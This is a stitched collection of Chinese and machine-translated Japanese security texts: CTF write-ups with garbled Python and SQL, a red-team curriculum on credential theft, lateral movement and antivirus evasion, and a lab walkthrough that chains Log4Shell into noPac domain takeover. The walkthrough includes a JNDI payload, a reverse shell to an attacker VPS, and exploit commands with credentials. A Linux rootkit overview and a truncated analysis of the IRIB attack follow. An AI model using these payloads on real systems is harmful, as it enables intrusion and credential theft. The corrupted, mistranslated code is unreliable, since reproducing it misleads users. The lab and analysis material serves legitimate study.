__init __(self、n、m): self.m=[] self.n=n self.m=self.pre(m) self.a=0 self.b=0 def pre(self、m): tmp_m=bin(m)[2:] t=[] TMP_M:のTMPの場合 T.Append(int(tmp)) tを返します def get_m(self): seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)] self.m=seq def calc_denity(self): t=log2(max(self.m)) d=self.n/t 印刷(d) def enc(self): self.get_m() self.calc_dences() c=0 範囲のt(len(self.m)): c +=self.m [t] * self.m [t] 印刷(f'c={c} ') print(f'm={self.m} ') __NAME __=='__ Main __' :の場合 m=bytes_to_long(flag.encode()) n=m.bit_length() k=ナップサック(n、m) k.enc() #c=231282844744 #M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920] Sagemathで実行: crypto.util.Number inmort long_to_bytesから C=231282844744 M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、 23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、 33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、 31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、 30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、 21108080920] l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。 L:の行 row [-1]==0およびlen(set(row [:-1]))==1:の場合 #最後の要素を除くすべての要素が同じであると仮定すると同じです ans=[abs(i)in ow in ow in [:-1]] ans=int( ''。join(map(str、ans))、2) print(long_to_bytes(ans)) 5. ターゲットを絞ったデータ収集 OpenPyxlをインポートします リクエストをインポートします インポート時間 urllib.parseインポートurlencodeから burp0_url='http://121.40.65.125:23328/submit' Def devery_name_and_id(input_file、output_file): wb=openpyxl.load_workbook(input_file) ws=wb.active ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合 行[0] :の場合 名前、id_number=row [0] .split( '----')#extrame name and Identityカード 印刷(名前、id_number) Age=2024-int(id_number [6:10]) if(int(id_number [10:12])4): 年齢- =1 sexx=u'male ' burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx} sexx2=u'female ' burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2} try: r0=requests.post(burp0_url、json=burp0_json) r1=requests.post(burp0_url、json=burp0_json1) print(r0.request.body) print(r0.text、r1.text) #time.sleep(0.5) requests.exceptions:を除く print( 'err') #time.sleep(2) #ws.append([name.strip()、id_number.strip()]) #wb.save(output_file) wb.close() __name__=='__main __' :の場合 input_file='data1.xlsx' output_file='deprosed_data.xlsx' #Noの使用、破棄されます devery_name_and_id(input_file、output_file) 6. 天気 レビューbundle.js アクセスするパラメーターを取得します 7.mysqlクリーンアップ ヒント: 要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123) ( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。 ( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 '); userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 '); user_id in( '5142'、 '2123'、'1169 '、' 8623 '); ( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 '); テーブルを再構築し、削除後に残りのデータをクリアします Alter Tableユーザーエンジン=innodb; Alter Table userlog Engine=innodb; Table TransactionHistory Engine=Innodbを変更します。 Alter Table ShopphingCart Engine=Innodb; Alter Table Orders Engine=Innodb; 8. ファントムスクエア 第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください Hashlibをインポートします ランダムをインポートします 文字列をインポートします #文字セットを英数字として定義します charset=string.ascii_letters + string.digits true: #チャーセットからランダムな4文字列を生成します rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud' #文字列のSHA-256ハッシュを計算します hash_output=hashlib.sha256(rand_str.encode())。hexdigest() #ハッシュがターゲットハッシュと一致するかどうかを確認します hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合 print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します 壊す '' ' [2、7、6、9、5、1、4、3、8] [2、9、4、7、5、3、6、1、8] [4、3、8、9、5、1、2、7、6] [4、9、2、3、5、7、8、1、6] [6、1、8、7、5、3、2、9、4] [6、7、2、1、5、9、8、3、4] [8、1、6、3、5、7、4、9、2] [8、3、4、1、5、9、6、7、2] 4 3 8 9 5 1 2 7 6 '' '
  5. 0x00 红队基础知识一、构建一个大型内网域环境搭建父域控制器子域控制器辅域控制器域内主机域内服务器二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理0x02 内网信息搜集篇一、工作组和大型域内网如何进行信息搜集如何搜集本机密码 MySQLSQL Server... ...Linux 如何搜索特定的密码文件搜集指定用户的命令历史记录中的各种明文密码Windows 2012 高版本以上如何搜集密码 Windows 2012 版本以下如何搜集密码 关于 Linux 下如何搜集各种密码信息 无线密码抓取 组册表里各种健值敏感信息 搜集数据库中保存的各类高价值账号密码 搜集保存在目标系统本地各种文档中的明文密码 针对各类常用 windows 办公软件的各类密码搜集 如何搜集VPN密码 如何搜集浏览器相关凭证 Chrome 浏览器抓取凭证Firefox 浏览器抓取凭证360 浏览器抓取凭证IE 浏览器抓取凭证如何搜集各种数据库信息 通过 LDAP 定位核心机器通过 LDAP 获取内网架构分布通过 LDAP 获取内网组织架构通过 LDAP 获取域内核心机器Mysql SQL Server Oracle PostgreSQL LDAP 根据当前跳板机器搜集网络环境(判断那种协议出网) 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip 获取当前系统最近的用户登录记录 获取当前用户的所有命令历史记录(针对于 Linux) 远程截屏捕捉目标用户敏感操作 获取当前机器环境变量(Java、Python、Go ...) 获取当前本机 rdp / ssh 端口开启状态及其默认端口号 获取本机所有已安装软件的详细列表 获取本机各个浏览器中保存的、书签页、历史浏览记录 获取当前用户桌面、回收站里的所有文件列表 获取当前系统代理 获取当前系统的所有 ipc 连接、共享 获取当前系统host文件内容 利用系统自带截屏捕捉目标用户敏感操作 ... 二、搜集目标内网邮箱企业内网邮箱信息搜集 通过邮箱对内网进行整体分析Exchange内网邮箱信息搜集 通过邮箱对内网进行整体分析... ... 三、搜集目标内网各种Web页面、Web框架、登陆入口TomcatStruts2WeblogicJbossJekinsApache Solr... ...四、搜集各类客户端软件FTP XFtpWinSCPFileZillaXshellMobaXterm远程客户端管理 向日葵TeamViewerSSH WinSCPMobaXtermXshell五、对于内网存活机器信息搜集NetBIOSICMPTCPUDPARP六、针对成百上千的内网如何快速信息搜集如何快速对一个 C 段进行信息搜集如何快速对一个 B 段进行信息搜集如何快速对一个 A 段进行信息搜集0x03 内网穿透、流量代理、端口转发篇一、根据当前跳板机器判断出网情况TCP/UDPICMPDNSHTTPHTTPS二、正/反向代理连接工具MetasploitCobaltStrikeproxychainsSSocksfrp...三、端口转发LCXMetasploitnetshiptablespowershell四、内网穿透工具FRPNPSsppvenom五、针对不出网主机如何上线到 C2(Metasploit、CobaltStrike)DNSHTTPICMPSMB六、针对常规不出网主机如何做内网穿透、流量代理DNS出网的话 iodineHTTP/HTTPS出网的话 reGeorgNeo-reGeorg0x04 权限提升篇一、WindowsWindows 提权之内核溢出提权 Windows 提权之土豆系列(Windows 9 种权限利用) Windows 提权之第三方服务提权 Windows 提权之系统错误配置提权 Windows 提权之 Bypass UAC 数据库提权 Mysql UDF 提权Mysql MOF 提权SQL Server XP_cmdshell 提权SQL Server SP_oacreate 提权SQL Server 其他提权... ... 等等二、LinuxLinux 提权之内核溢出提权Linux 提权之 SUID 提权Linux 提权之利用错误配置提权Linux 提权之计划任务提权Linux 提权之利用高权限服务提权... ... 等等0x04 各种 C2 使用以及深度分析篇一、MetasploitMetasploit|七大模块详解 Metasploit|针对 Auxiliary 辅助模块的常规使用 Metasploit|针对 Exploit 漏洞利用模块的常规使用 Metasploit|针对 Payload 模块生成各种(正/反)漏洞利用可执行文件 Metasploit|针对 Post 后渗透利用模块的常规使用 Metasploit|获取当前机器的明文密码及 Hash Metasploit|获取提权的有效模块进行权限提升 Metasploit|窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用 Metasploit|根据当前跳板机器如何添加路由、进行端口转发、内网穿透 Metasploit|如何连接到 Postgresql 数据库进行管理渗透记录 Meterpreter|添加 Socks 代理 Meterpreter|设置 session 永久不掉线(防止权限丢失) Meterpreter|设置上线之后自动进程迁移(防止权限丢失) Meterpreter|开启目标远程桌面服务 3389 端口 Meterpreter|针对内网各种服务进行爆破 针对内网所有 Windows 存活机进行批量 SMB 爆破针对内网所有 Mssql 存活机进行批量爆破针对内网所有 Mysql 存活机进行批量爆破针对内网所有 Linux 存活机 进行批量 Ssh 爆破针对内网所有 Redis 存活进行批量爆破针对内网所有存活 Postgresql 进行批量爆破针对内网所有存活 Telnet 进行批量爆破针对内网所有存活 Ftp 进行批量爆破针对内网 Exchange 的 ews 接口爆破Meterpreter|如何发现内网下各类高价值存活主机 探测内网 SMB,Windows 存活探测内网 SSH,Linux 存活探测内网 MySQL 存活探测内网 MsSQL 存活探测内网 RDP 存活(3389)探测内网 Telnet 存活探测内网 FTP 存活探测内网 Web 组件快速批量识别探测内网 MS17-010 漏洞探测内网 CVE-2019-0708 漏洞Metasploit 与 Cobalt Strike 双双联动 如何单靠 Metasploit 来对内网进行渗透 二、CobaltStrikeCobalt Strike|安装与简介Cobalt Strike|创建监听以及生 PayloadCobalt Strike|如何基于 HTTP / SMB 上线Cobalt Strike|如何抓当前机器的密码 HASHCobalt Strike|内网端口扫描以及发现内网存活机器Cobalt Strike|端口转发、Socks 代理Cobalt Strike|进程窃取、屏幕截图、键盘记录、进程迁移Cobalt Strike|第三方插件的使用(渗透攻击红队)Cobalt Strike|如何造轮子写一个自己的插件Cobalt Strike|内网批量上线Cobalt Strike|针对于不同的网络环境上线不出网的机器Cobalt Strike|中转上线内网不出网的机器Cobalt Strike 与 Metasploit 双双联动三、Poshc2TSH... ...0x05 内网横向移动篇一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击at 定时任务schtasks 定时任务wmicWinRm二、哈希传递(Pass The Hash)横向移动0x06 域内攻击篇从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递(Pass The Hash)攻击MS14-068 票据传递(Pass the Ticket)攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞(CVE-2020-1472)利用 krbtgt 来打造 Golden Ticket(黄金票据) 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket(白银票据) 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO(组策略对象)批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击,获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据0x07 Exchange 攻击篇对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集 [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...0x08 杀软对抗篇免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2(Metasploit、CobaltStrike)Metasploit 通过 ACL 隐藏 Bind Shell0x09 权限维持篇工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势
  6. 网络拓扑 信息搜集渗透测试第一步当然是信息搜集 拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描 nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151 发现开放了22,38080这两个端口 通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下 于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog 发现存在 CVE-2021-44228漏洞,尝试去获取一个shell CVE-2021-44228 利用首先在我们的VPS kali(192.168.81.133) 开启一个LDAP: git clone https://github.com/black9/Log4shell_JNDIExploit.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133 然后在kali上nc监听9999端口: 我们使用TOMCATBYpass进行反弹shell /bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell 反弹shell命令需要进行base64编码 BP抓包,改为post传参并且构造payload payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=} 最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行 发现当前拿到的shell是一个docker容器 想办法逃逸也失败了,最后在/root/目录下找到了flag文件: flag{redteam.lab-1} Congratulations, you got this: saul Saul123 得到了一个flag,还有一个类似于账号密码的东西 在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码 内网信息搜集通过上节得到的账号和密码登陆到了Ubuntu系统 我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信 在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。 所以我们使用for循环ping一下ens38的c段网络 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done 发现内网还有一台机器10.0.1.7存在 或者使用 scan info 工具进行内网信息收集 kali中使用python快速搭建httpd 靶机下载工具并赋予权限 进行内网信息收集 发现10.0.1.7存活并存在MS17-010 随后为了方便,我选择用 frp 把当前机器的流量代理出来: 配置frps.ini 配置frpc.ini 然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集; setg Proxies socks5:192.168.81.133:8888 setg ReverseAllowProxy true 使用 smb 版本探测模块对目标进行扫描: use auxiliary/scanner/smb/smb_version 发现目标10.0.1.7版本是windows7,并且存在域REDTEAM 既然是windows7,那么就可能存在MS17-010漏洞 MS17-010利用通过上节,我们知道了10.0.1.7是win7,接下来进行探测 通过探测得知这台机器是存在ms17-010漏洞的 由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp 直接拿到win7权限,然后加载mimikataz把密码抓出来 Username Domain Password root REDTEAM Red12345meterpreter > load mimikatz 加载工具 meterpreter > creds_all 列出凭证 注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7 这个时候就得到了一个域用户的账号了。 内网利器 CVE-2021-42287、CVE-2021-42278通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡 且定位到域控到域控 IP 为 10.0.0.12 由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。 具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。 于是直接使用MSF添加一个socks5 添加路由 run autoroute -s 10.0.0.7/24 然后我们把本地的代理加上就行了 利用工具下载地址 https://github.com/WazeHell/sam-the-admin https://github.com/Ridter/noPac https://github.com/waterrr/noPac 然后利用脚本即可 proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell 最后也是拿到了最终的 Flag。 靶机环境: 链接: https://pan.baidu.com/s/18pXdC2f_zDsXONpSUg1fYg 提取码: 8dcy 原文链接:http://www.kryst4l.cn/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-log4j2-RCE-%E5%86%8D%E5%88%B0%E5%86%85%E7%BD%91%E6%A0%B8%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%B4%9E-CVE-2021-42287%E3%80%81CVE-2021-42278-%E6%8B%BF%E5%88%B0-DC/
  7. 序言從西方APT組織的攻擊歷史及已經洩露的網絡武器看,高隱匿、高持久化(LowSlow)是其關鍵特徵,而Rootkit 則是達成此目的的重要技術之一。 在“【Rootkit 系列研究】Windows平台的高隱匿、高持久化威脅”裡,我們介紹了Windows Rootkit的生存期,可達成的效果,運用這項技術展開攻擊的可行性以及這項技術的發展現狀。除了Windows操作系統,Linux、Mac OS等同樣受Rootkit關注。在本文中,我們將目光投向Linux操作系統。我們首先對近年來用戶態Rootkit在黑產組織中的廣泛使用進行討論,接著介紹內核態Rootkit的高度定制化需求和Linux系統上存在的其他類型Rootkit,最後從攻防視角對Rootkit進行總結。 難以檢測的Linux Rootkit想像以下場景:由於業務需要,你們公司穩定運行多年的某台Linux服務器需要進行系統升級,在完成升級後,你偶然注意到服務器上多了幾個看起來像系統文件的文件(夾),你的第一反應是什麼?這是新版本引入的系統文件,pass?有點可疑,去搜索引擎查詢這些文件名是否正常?小心!任何一絲異常的背後都可能潛藏著巨大的危險。 Rootkit在幾乎所有操作系統上都是最具挑戰性的惡意軟件類型,它利用操作系統代碼中的疏忽,隱藏它的存在和惡意行為。製作精良的Rootkit可以在受害主機長期駐留,讓主機在用戶視角和部分內核視角沒有任何感知,進而很難通過系統提供的檢測工具以及常規的防病毒軟件進行檢測和清除。 用戶態倍受黑產青睞Linux Rootkit運行時所處的層次分用戶層和內核層兩種。對於運行於用戶層的用戶態Rootkit,它所涉及的技術簡單且成熟,例如替換系統文件,動態鏈接庫劫持等。對近兩年曝光的黑產組織攻擊樣本進行分析,我們發現越來越多的黑產組織以某些開源Rootkit為基礎,將用戶態Rootkit技術加入自己的技術棧。 進一步講,黑產組織喜歡將用戶態Rootkit作為其攻擊鏈中multi-stage-malware的一部分,即他們沒有將Rootkit功能集成在原本的挖礦或殭屍網絡樣本中,而是在原有惡意軟件的基礎上新增Rootkit,用於實現隱藏文件等新的功能,以規避安全公司提出的感染檢測方案:“通過檢查某些路徑、文件的存在與否,判斷某主機是否受到某惡意軟件的影響”。 根據某海外安全廠商2020年底的報告,H2Miner挖礦家族開始使用新的Rootkit樣本。該Rootkit修改自開源項目“beurk”,它使用LD_PRELOAD技術劫持動態鏈接過程,將磁盤上的挖礦文件“kinsing”以及正在運行的相關進程隱藏。這使得IT管理員在感知到系統運行速度無故變慢後,無法通過“top”命令看到佔用大量CPU資源的挖礦進程。值得一提的是,H2Miner家族目前仍十分活躍,我們發現2021年底該家族使用Log4j漏洞進行挖礦軟件傳播。 (鏈接:12.12 Log4j RCE 黑產從業者的狂歡) 2021年我們還觀測到活躍的TeamT/N/T挖礦家族使用的Rootkit樣本(鏈接:1.10 2021挖礦木馬趨勢報告)。該家族除了利用修改自開源項目“Diamorphine”的內核態Rootkit之外,還在用戶層替換了ps、top等系統命令文件,當使用這些命令進行排查時,挖礦的相關痕跡會被隱藏。具體代碼如圖: 2021年4月,某海外安全廠商曝光了一種新型遠控程序Facefish,他們懷疑攻擊者正在進行殭屍網絡組網,併計劃在組網完成後,以“訪問權限即服務”(access-as-a-service)的方式出售該網絡的訪問權限。 Facefish遠控通過第一階段的dropper釋放出一個Rootkit,Rootkit利用用戶態常用的動態鏈接庫劫持技術,實現ssh、sshd的運行時鏈接程序劫持,最終在受害主機上放置一個後門。事實上,對於一個Rootkit程序,Facefish的這種用法十分原始,因為它僅利用了Rootkit的觸發機制,惡意so文件中還可以增加一系列隱藏功能。動態鏈接庫劫持效果如圖: 為了降低被懷疑的概率,上述組織使用的惡意動態鏈接庫分別命名為libsystem.so、libs.so,它們刻意模仿Linux的系統自帶程序文件名,並駐留在系統文件路徑下,企圖蒙蔽服務器管理員。 試想如果你在包含上百個so文件,並且這些文件的文件名均以“lib”開頭的文件夾/lib64中看到了libs.so,這會引起你的懷疑嗎?不過對於防禦的一方,上述場景並不會讓人夜不能寐,因為針對用戶態Rootkit,有諸如文件完整性檢測、交叉視圖等十分成熟的檢測技術。歸根結底,這些Rootkit都只運行在用戶層,當防禦措施深入進操作系統內核,從底向上看,他們通通無處遁形。 內核態的高度定制化防禦方可以深入Linux操作系統內核進行防守,攻擊的一方當然也可以進入內核層進行攻擊。越接近Linux操作系統底層內核代碼,Rootkit的開發難度越大,對其進行檢測的難度也越高。對攻擊者來說,高投入通常意味著更有價值的攻擊目標和更高的回報,如果開發得當,Rootkit可以長期藏匿在目標機器中,所以內核態Rootkit也是攻擊者關注的重點。 傳統的內核態Rootkit使用可加載內核模塊(LKM)技術進入內核層後,在內核層進行“hook”。從執行在用戶態的程序調用“int0x80”陷入內核開始,整個系統調用流程中的任何一個位置,都可能成為內核態Rootkit進行hook的目標,圍繞“hook什麼”,“如何hook”這兩個問題,出現了近十種內核態Rootkit技術。 與用戶態Rootkit不同,由於內核態Rootkit直接對Linux內核源代碼進行操縱,所以對Rootkit有極高的定制化要求。這是因為經過多年的發展,Linux的內核版本眾多,每個版本的內核代碼都有或多或少的修改,攻擊者開發的某個內核態Rootkit可以在A版本上正常運行,很可能在B版本上完全失效,這就可能出現文章開頭提到的那一幕。 前文提到的TeamT/N/T挖礦家族除了在用戶態替換系統命令文件外,還使用內核態Rootkit技術,將惡意內核模塊diamorphine.ko加載進內核,實現進程、模塊、文件目錄的隱藏以及用戶權限的提升。該挖礦家族以雲主機為目標,Rootkit只能在2.6.x、3.x、4.x內核版本上正常運行,具體實現如圖: 除了黑產,APT組織發起的定向攻擊中也用到了內核態Rootkit。 APT組織對隱蔽性有更高的要求,這也給信息收集環節提出了更大的挑戰,APT組織需要清楚的知道某次定向攻擊的目標所使用Linux服務器的內核版本號。在必要條件下,APT組織可以拿到與目標服務器完全相同的實體,並直接在其上進行Rootkit開發。例如震網病毒事件中,攻擊者對目標設備瞭如指掌,而後在惡意代碼中加入了嚴苛的環境判斷。再例如2020年曝光,據稱由APT28開發的內核態Rootkit Drovorub,它針對3.7以下版本的Linux內核,特別是Red Hat發行版進行攻擊。 內核態攻防進入深水區Rootkit最關鍵的要點是隱藏,而隱藏意味著攻擊者清楚的知道為什麼某個文件(夾)會顯示,為什麼某個網絡連接可被觀測,然後對這些顯示的機制進行繞過,以達到隱藏的效果。攻擊者知道的這些機制,防禦方當然也知道,並且對其開展檢測,而攻擊者進一步進行繞過,隨後便產生了攻防雙方的貓鼠遊戲。 Linux內核態Rootkit攻防的本質,是雙方誰對操作系統底層技術更加了解。繼續深入Linux內核,有沒有更加底層的Rootkit技術?答案當然是有,而且近年來越來越多。 2015年,Ryan利用Linux內核中的kprobe機制實現了Rootkit。 Kprobe是Linux內核開發者用於內核函數跟踪的一種輕量級內核調試技術,這個Rootkit展示了利用基於kprobe機制進行hook,實現Rootkit功能的可行性。 2016年,Michael在Blackhat上提出了一種基於命名空間的新型Linux Rootkit——Horse Pill,它在操作系統啟動過程中劫持虛擬根文件系統initrd(boot loader initialized RAM disk),使受攻擊的服務器進入另一個由攻擊者創建的“楚門的世界”(即一個子命名空間)。在這個子命名空間中,用戶所有的操作都能正常執行,但完全意識不到還存在另一個並行運行的,由攻擊者所控制的“真實世界”。 在kprobe的基礎上,Linux 4.0以上版本增加了eBPF技術,該技術可以在不加載內核模塊的前提下,在Linux內核中運行用戶編寫的程序。 Guillaume在2021年Blackhat上公開了基於eBPF的Rootkit。 總結雖然kprobe、Horse Pill、eBPF在內核更加底層的位置完成了Rootkit的隱藏功能,但是痕跡是否真的隱藏,會根據觀測的視角而大不相同。理論上不存在沒有任何痕蹟的Rootkit,總有某些角度可以觀測到系統出現了異常,因為如果一個程序在所有視角都隱藏,那麼攻擊者也無法對它進行控制。上述這些技術可以被攻擊者所利用,而防禦方同樣可以利用它們。現在各安全公司已利用它們設計功能更強大的安全軟件,對系統進行監控。 我們已經深入Linux內核深處,是否還存在更加底層的Rootkit? 2021年12月28日,海外某安全公司給出了突破操作系統的答案。他們發現了固件Rootkit“iLOBleed”,其隱藏在惠普固件HP iLO 上,同時可以以最高權限訪問和修改設備上所有的軟硬件資源。 事實上,對於現有的高級Rootkit,安全軟件已經非常難以檢測,通常需要安全專家人工介入分析,可以想像某些由APT組織定向投遞的Rootkit正在受害機器中潛伏。對Rootkit技術進行研究,不是去解決想像中的問題,而是回應真實的ring0世界。 參考資料https://www.4hou.com/posts/vLmm https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/ https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf https://github.com/elfmaster/kprobe_rootkit https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/ https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
  8. 在過去的幾個月裡,伊朗遭遇了新一輪的網絡攻擊。這些攻擊不僅僅是對網站進行攻擊那麼簡單,這輪攻擊正在對伊朗的國家基礎設施持續進行攻擊,並造成了重大破壞。 本文對2022 年1 月下旬發生的針對伊朗國家媒體公司——伊朗伊斯蘭共和國廣播公司(IRIB) 的攻擊進行了深入分析。 情況介紹1 月27 日,伊朗國家廣播公司IRIB 被攻擊,導致多個國營電視頻道播放反對派領導人的鏡頭,並呼籲暗殺最高領導人。 Check Point 研究團隊調查了這次攻擊,並能夠從公開可用的資源中檢索與該事件相關的文件和取證證據。 我們發現了旨在傳播抗議信息的惡意可執行文件,此外,我們還發現了使用擦除惡意軟件痕蹟的證據。這表明攻擊者的目的也是為了破壞國家的廣播網絡,對電視和廣播網絡的破壞可能比官方報導的更嚴重。 在攻擊中使用的工具中,我們發現了對受害者屏幕進行截圖的惡意軟件、幾個自定義的後門,以及用於安裝和配置惡意可執行文件的相關批處理腳本和配置文件。我們找不到任何證據表明這些工具以前被使用過,或者將它們歸因於特定的攻擊者。 在本文中,我們對與攻擊相關的工具以及攻擊者使用的策略進行了技術分析。 早在2021 年7 月,伊朗國家鐵路和貨運服務就遭到過攻擊,攻擊者對火車運行進行了攻擊。僅僅一天后,媒體報導稱,負責交通的伊朗道路和城市發展部的網站因“網絡中斷”而被關閉,用戶無法訪問其官方門戶和子服務。此後,網絡攻擊就開始持續攻擊伊朗國家實體,似乎每個目標都經過精心挑選的。 2021 年8 月,黑客組織Tapandegan發布了來自德黑蘭監獄的埃文監獄的鏡頭畫面,該監獄關押了許多政治犯。 2021 年10 月,伊朗的加油站因電子支付系統被攻擊而癱瘓。該事件導致加油站排了兩天的隊,客戶無法使用政府發行的用於購買補貼燃料的電子卡付款。刷卡付款時,最高領導人辦公室的電話號碼出現在屏幕上。 2021 年11 月,伊朗航空公司Mahan Air 宣布挫敗了對其內部系統的未遂攻擊,沒有造成任何傷害。奇怪的是,這一次一個名為“Hooshyaran-e Vatan”(國家警衛隊)的組織聲稱對此負責,並在接下來的兩個月中公佈了據稱在黑客攻擊中被盜的文。 2022 年2 月7 日,Edalat-e Ali 組織公佈了伊朗另一所監獄Ghezel Hesar的監控錄像。 1 月27 日,有報導稱伊朗國家廣播公司IRIB 遭到黑客攻擊。伊朗伊斯蘭共和國廣播公司,也被稱為“伊朗伊斯蘭共和國的聲音和願景”,是一家國有壟斷企業,負責伊朗的所有廣播和電視服務。網絡攻擊導致國營電視頻道都在播放該國的政治反對派組織。 在被劫持的視頻中,出現了反對派組織領導人Maryam 和Masoud Rajavi 的面孔。 IRIB 技術事務副負責人Reza Alidadi 